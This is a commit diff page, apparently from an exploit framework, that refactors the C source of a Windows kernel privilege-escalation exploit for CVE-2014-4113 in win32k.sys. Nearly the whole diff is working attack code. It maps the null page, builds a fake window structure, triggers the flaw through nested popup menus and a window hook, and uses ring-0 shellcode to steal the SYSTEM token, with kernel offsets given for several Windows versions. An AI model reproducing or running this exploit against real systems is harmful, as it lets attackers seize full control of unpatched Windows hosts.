Skip to content

Commit 6f3b373

Browse files
committed
More code tidy and unifying of stuff
1 parent 0e76157 commit 6f3b373

File tree

1 file changed

+75
-89
lines changed

1 file changed

+75
-89
lines changed

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c

Lines changed: 75 additions & 89 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@
1313
#undef WIN32_NO_STATUS
1414

1515
#ifdef DEBUGGING
16+
// only needed because of the output printf stuff when debugging
1617
#include <stdio.h>
1718
#endif
1819

@@ -21,19 +22,8 @@ typedef __success(return >= 0) LONG NTSTATUS;
2122
typedef NTSTATUS *PNTSTATUS;
2223
#endif
2324

24-
#ifdef _M_X64
25-
typedef unsigned __int64 QWORD;
26-
typedef QWORD *PQWORD;
27-
#endif
28-
2925
#define PTR_SIZE sizeof(UINT_PTR)
3026

31-
int WndProcClue = 0;
32-
int HookCallbackClue = 0;
33-
WNDPROC lpPrevWndFunc;
34-
DWORD MyProcessId = 0;
35-
DWORD OffsetWindows = 0;
36-
3727
typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
3828
IN HANDLE ProcessHandle,
3929
IN PVOID *BaseAddress,
@@ -75,13 +65,20 @@ typedef struct _SYSTEM_MODULE_INFORMATION
7565
SYSTEM_MODULE Modules[0];
7666
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
7767

68+
BOOL bWndProcFlag = FALSE;
69+
BOOL bHookCallbackFlag = FALSE;
70+
71+
WNDPROC lpPrevWndFunc;
72+
DWORD dwMyProcessId = 0;
73+
DWORD dwOffsetWindows = 0;
74+
7875
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
7976
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
8077

8178
#ifdef DEBUGGING
8279
void LogMessage(char* pszFormat, ...)
8380
{
84-
static char s_acBuf[2048];
81+
char s_acBuf[2048];
8582
va_list args;
8683
va_start(args, pszFormat);
8784
vsprintf_s(s_acBuf, sizeof(s_acBuf) - 1, pszFormat, args);
@@ -101,9 +98,9 @@ long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
10198

10299
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
103100
{
104-
if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !HookCallbackClue)
101+
if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !bHookCallbackFlag)
105102
{
106-
HookCallbackClue = 1;
103+
bHookCallbackFlag = TRUE;
107104
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback))
108105
{
109106
lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo);
@@ -114,47 +111,45 @@ LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
114111

115112
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
116113
{
117-
if (msg == 289 && WndProcClue != 1)
114+
if (msg == 289 && !bWndProcFlag)
118115
{
119-
WndProcClue = 1;
116+
bWndProcFlag = TRUE;
120117
PostMessageA(hwnd, 256, 40, 0);
121118
PostMessageA(hwnd, 256, 39, 0);
122119
PostMessageA(hwnd, 513, 0, 0);
123120
}
124121
return DefWindowProc(hwnd, msg, wParam, lParam);
125122
}
126123

124+
DWORD_PTR __stdcall get_threadinfo_ptr(void)
125+
{
127126
#ifdef _M_X64
128-
QWORD MyPtiCurrent(void) {
129127
void *teb = (void *)__readgsqword(0x30);
130-
QWORD Win32ThreadInfo = (QWORD)*((PQWORD)((PBYTE)teb + 0x78));
128+
DWORD_PTR Win32ThreadInfo = (DWORD_PTR)*((PDWORD_PTR)((PBYTE)teb + 0x78));
131129

132130
return Win32ThreadInfo;
133-
}
134131
#else
135-
DWORD __stdcall MyPtiCurrent()
136-
{
137132
__asm {
138133
mov eax, fs : 18h
139134
mov eax, [eax + 40h]
140135
}
141-
}
142136
#endif
137+
}
143138

144139
int _stdcall shellcode_ring0(int one, int two, int three, int four)
145140
{
146141
void *my_process_info = NULL;
147142
void *system_info = NULL;
148143

149-
pPsLookupProcessByProcessId((HANDLE)MyProcessId, &my_process_info);
144+
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &my_process_info);
150145
pPsLookupProcessByProcessId((HANDLE)4, &system_info);
151146

152-
*(PDWORD)((PBYTE)my_process_info + OffsetWindows) = *(PDWORD)((PBYTE)system_info + OffsetWindows);
147+
*(PDWORD)((PBYTE)my_process_info + dwOffsetWindows) = *(PDWORD)((PBYTE)system_info + dwOffsetWindows);
153148

154149
return 0;
155150
}
156151

157-
DWORD WINAPI ExecutePayload(LPVOID lpPayload)
152+
DWORD WINAPI execute_payload(LPVOID lpPayload)
158153
{
159154
VOID(*lpCode)() = (VOID(*)())lpPayload;
160155
lpCode();
@@ -165,7 +160,7 @@ void Win32kNullPage(LPVOID lpPayload)
165160
{
166161
HWND hWnd;
167162
WNDCLASSA WndClass;
168-
LPBYTE promise_land = NULL;
163+
LPBYTE lpPromisedLand = NULL;
169164
HMODULE hNtdll = NULL;
170165
HMODULE ntkrnl = NULL;
171166
NTSTATUS status;
@@ -192,7 +187,7 @@ void Win32kNullPage(LPVOID lpPayload)
192187
{
193188
// Ex: Windows 7 SP1
194189
LogMessage("[*] Windows 6.1 found...");
195-
OffsetWindows = 0x208;
190+
dwOffsetWindows = 0x208;
196191
}
197192
#else
198193
if (VersionInformation.dwMajorVersion == 6)
@@ -201,13 +196,13 @@ void Win32kNullPage(LPVOID lpPayload)
201196
{
202197
// Ex: Windows 7 SP1
203198
LogMessage("[*] Windows 6.1 found...");
204-
OffsetWindows = 0xf8;
199+
dwOffsetWindows = 0xf8;
205200
}
206201
else if (!VersionInformation.dwMinorVersion)
207202
{
208203
// Ex: Windows 2008 R2
209204
LogMessage("[*] Windows 6.0 found...");
210-
OffsetWindows = 0xe0;
205+
dwOffsetWindows = 0xe0;
211206
}
212207
else
213208
{
@@ -219,13 +214,13 @@ void Win32kNullPage(LPVOID lpPayload)
219214
{
220215
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows XP SP3
221216
LogMessage("[*] Windows 5.1 found...");
222-
OffsetWindows = 0xc8;
217+
dwOffsetWindows = 0xc8;
223218
}
224219
else if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 2)
225220
{
226221
// Ex: Windows 2003 SP2
227222
LogMessage("[*] Windows 5.2 found...");
228-
OffsetWindows = 0xd8;
223+
dwOffsetWindows = 0xd8;
229224
}
230225
else
231226
{
@@ -267,7 +262,6 @@ void Win32kNullPage(LPVOID lpPayload)
267262
LogMessage("[*] Requesting Kernel loaded modules...");
268263

269264
status = pZwQuerySystemInformation(11, &SystemInfoBufferSize, 0, &SystemInfoBufferSize);
270-
271265
if (SystemInfoBufferSize == 0)
272266
{
273267
LogMessage("[!] Requesting pZwQuerySystemInformation required length failed");
@@ -291,7 +285,6 @@ void Win32kNullPage(LPVOID lpPayload)
291285
return;
292286
}
293287

294-
295288
LogMessage("[*] Parsing SYSTEM_INFO...");
296289

297290
SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;
@@ -340,7 +333,7 @@ void Win32kNullPage(LPVOID lpPayload)
340333
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD_PTR)nt_base + ((DWORD_PTR)pPsLookupProcessByProcessId - (DWORD_PTR)ntkrnl));
341334
LogMessage("[*] pPsLookupProcessByProcessId in kernel: 0x%p\n", pPsLookupProcessByProcessId);
342335

343-
MyProcessId = GetCurrentProcessId();
336+
dwMyProcessId = GetCurrentProcessId();
344337

345338
// Register Class
346339
LogMessage("[*] Registering class...");
@@ -369,134 +362,127 @@ void Win32kNullPage(LPVOID lpPayload)
369362

370363
LogMessage("[*] Allocating null page...");
371364
#ifdef _M_X64
372-
ULONGLONG base_address = 0x00000000fffffffb;
365+
ULONGLONG dwBaseAddress = 0x00000000fffffffb;
373366
#else
374-
DWORD base_address = 1;
367+
DWORD dwBaseAddress = 1;
375368
#endif
376-
SIZE_T region_size = 0x1000;
377-
ULONG zero_bits = 0;
378-
HANDLE current_process = NULL;
379-
380-
current_process = GetCurrentProcess();
381369

370+
SIZE_T sRegionSize = 0x1000;
382371
ULONG ulAllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN;
383-
if (pNtAllocateVirtualMemory(current_process, (LPVOID*)&base_address, 0, &region_size, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
372+
373+
if (pNtAllocateVirtualMemory(GetCurrentProcess(), (LPVOID*)&dwBaseAddress, 0, &sRegionSize, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
384374
{
385375
LogMessage("[!] Failed to allocate null page");
386376
return;
387377
}
388378

389379
LogMessage("[*] Getting PtiCurrent...");
390380

391-
#ifdef _M_X64
392-
DWORD_PTR pti = MyPtiCurrent();
393-
#else
394-
DWORD pti = MyPtiCurrent();
395-
#endif
381+
DWORD_PTR dwThreadInfoPtr = get_threadinfo_ptr();
396382

397-
if (pti == 0)
383+
if (dwThreadInfoPtr == 0)
398384
{
399385
LoadLibrary("user32.dll");
400386
LoadLibrary("gdi32.dll");
401-
pti = MyPtiCurrent();
387+
dwThreadInfoPtr = get_threadinfo_ptr();
402388
}
403389

404-
if (pti == 0)
390+
if (dwThreadInfoPtr == 0)
405391
{
406-
LogMessage("[!] Filed to get PtiCurrent");
392+
LogMessage("[!] Filed to get current thread information");
407393
return;
408394
}
409395

410-
LogMessage("[*] Good! pti 0x%p", pti);
396+
LogMessage("[*] Good! dwThreadInfoPtr 0x%p", dwThreadInfoPtr);
411397
LogMessage("[*] Creating a fake structure at NULL...");
412398

399+
LPVOID lpPtr = NULL;
413400
#ifdef _M_X64
414-
void *test = NULL;
415-
(QWORD)test = 0x10000000B;
416-
*((PQWORD)test) = pti;
401+
(DWORD_PTR)lpPtr = 0x10000000B;
402+
*((PDWORD_PTR)lpPtr) = dwThreadInfoPtr;
417403

418404
/* win32k!tagWND->bServerSideWindowProc = TRUE */
419-
(QWORD)test = 0x100000025;
420-
*((PBYTE)test) = 4;
405+
(DWORD_PTR)lpPtr = 0x100000025;
406+
*((PBYTE)lpPtr) = 4;
421407

422408
/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
423-
(QWORD)test = 0x10000008B;
424-
*((PQWORD)test) = (QWORD)&shellcode_ring0;
409+
(DWORD_PTR)lpPtr = 0x10000008B;
410+
*((PDWORD_PTR)lpPtr) = (DWORD_PTR)shellcode_ring0;
425411
#else
426-
void *test = promise_land + 3;
412+
lpPtr = lpPromisedLand + 3;
427413
/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
428414
.text:BF8B93F4 02C mov edi, _gptiCurrent
429415
.text:BF8B93FA 02C cmp edi, [esi + 8];
430416
.text:BF8B93FD 02C jz loc_BF8B
431417
*/
432-
*(LPDWORD)test = pti;
418+
*(LPDWORD)lpPtr = dwThreadInfoPtr;
433419

434-
*((LPBYTE)(promise_land + 0x11)) = 0x4;
420+
*((LPBYTE)(lpPromisedLand + 0x11)) = 0x4;
435421

436-
test = promise_land + 0x5b;
437-
*(LPDWORD)test = (DWORD)shellcode_ring0;
422+
lpPtr = lpPromisedLand + 0x5b;
423+
*(LPDWORD)lpPtr = (DWORD)shellcode_ring0;
438424
#endif
439425

440426
// Exploit!
441427

442428
LogMessage("[*] Triggering vulnerability...");
443-
HMENU MenuOne = CreatePopupMenu();
444-
if (MenuOne == NULL)
429+
HMENU hMenuOne = CreatePopupMenu();
430+
if (hMenuOne == NULL)
445431
{
446432
LogMessage("[!] First CreatePopupMenu failed");
447433
return;
448434
}
449435

450-
MENUITEMINFOA MenuOneInfo;
451-
memset(&MenuOneInfo, 0, sizeof(MENUITEMINFOA));
452-
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
453-
MenuOneInfo.fMask = MIIM_STRING;
436+
MENUITEMINFOA menuOneInfo;
437+
memset(&menuOneInfo, 0, sizeof(MENUITEMINFOA));
438+
menuOneInfo.cbSize = sizeof(MENUITEMINFOA);
439+
menuOneInfo.fMask = MIIM_STRING;
454440

455-
if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE)
441+
if (InsertMenuItemA(hMenuOne, 0, TRUE, &menuOneInfo) != TRUE)
456442
{
457443
LogMessage("[!] First InsertMenuItemA failed");
458-
DestroyMenu(MenuOne);
444+
DestroyMenu(hMenuOne);
459445
return;
460446
}
461447

462-
HMENU MenuTwo = CreatePopupMenu();
463-
if (MenuTwo == NULL)
448+
HMENU hMenuTwo = CreatePopupMenu();
449+
if (hMenuTwo == NULL)
464450
{
465451
LogMessage("[!] Second CreatePopupMenu failed");
466-
DestroyMenu(MenuOne);
452+
DestroyMenu(hMenuOne);
467453
return;
468454
}
469455

470-
MENUITEMINFOA MenuTwoInfo;
471-
memset(&MenuTwoInfo, 0, sizeof(MENUITEMINFOA));
472-
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
473-
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
474-
MenuTwoInfo.dwTypeData = "";
475-
MenuTwoInfo.cch = 1;
476-
MenuTwoInfo.hSubMenu = MenuOne;
456+
MENUITEMINFOA menuTwoInfo;
457+
memset(&menuTwoInfo, 0, sizeof(MENUITEMINFOA));
458+
menuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
459+
menuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
460+
menuTwoInfo.dwTypeData = "";
461+
menuTwoInfo.cch = 1;
462+
menuTwoInfo.hSubMenu = hMenuOne;
477463

478-
if (InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo) != TRUE)
464+
if (InsertMenuItemA(hMenuTwo, 0, TRUE, &menuTwoInfo) != TRUE)
479465
{
480466
LogMessage("[!] Second InsertMenuItemA failed");
481-
DestroyMenu(MenuTwo);
482-
DestroyMenu(MenuOne);
467+
DestroyMenu(hMenuTwo);
468+
DestroyMenu(hMenuOne);
483469
return;
484470
}
485471

486472
if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL)
487473
{
488474
LogMessage("[!] SetWindowsHookExA failed :-(\n");
489-
DestroyMenu(MenuTwo);
490-
DestroyMenu(MenuOne);
475+
DestroyMenu(hMenuTwo);
476+
DestroyMenu(hMenuOne);
491477
return;
492478
}
493479

494480
// 'crash' it!
495-
TrackPopupMenu(MenuTwo, 0, -10000, -10000, 0, hWnd, NULL);
481+
TrackPopupMenu(hMenuTwo, 0, -10000, -10000, 0, hWnd, NULL);
496482

497483
// If everything worked process should be privileges at this point
498484
LogMessage("[!] Executing payload...");
499-
CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
485+
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
500486
}
501487

502488
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)

0 commit comments

Comments
 (0)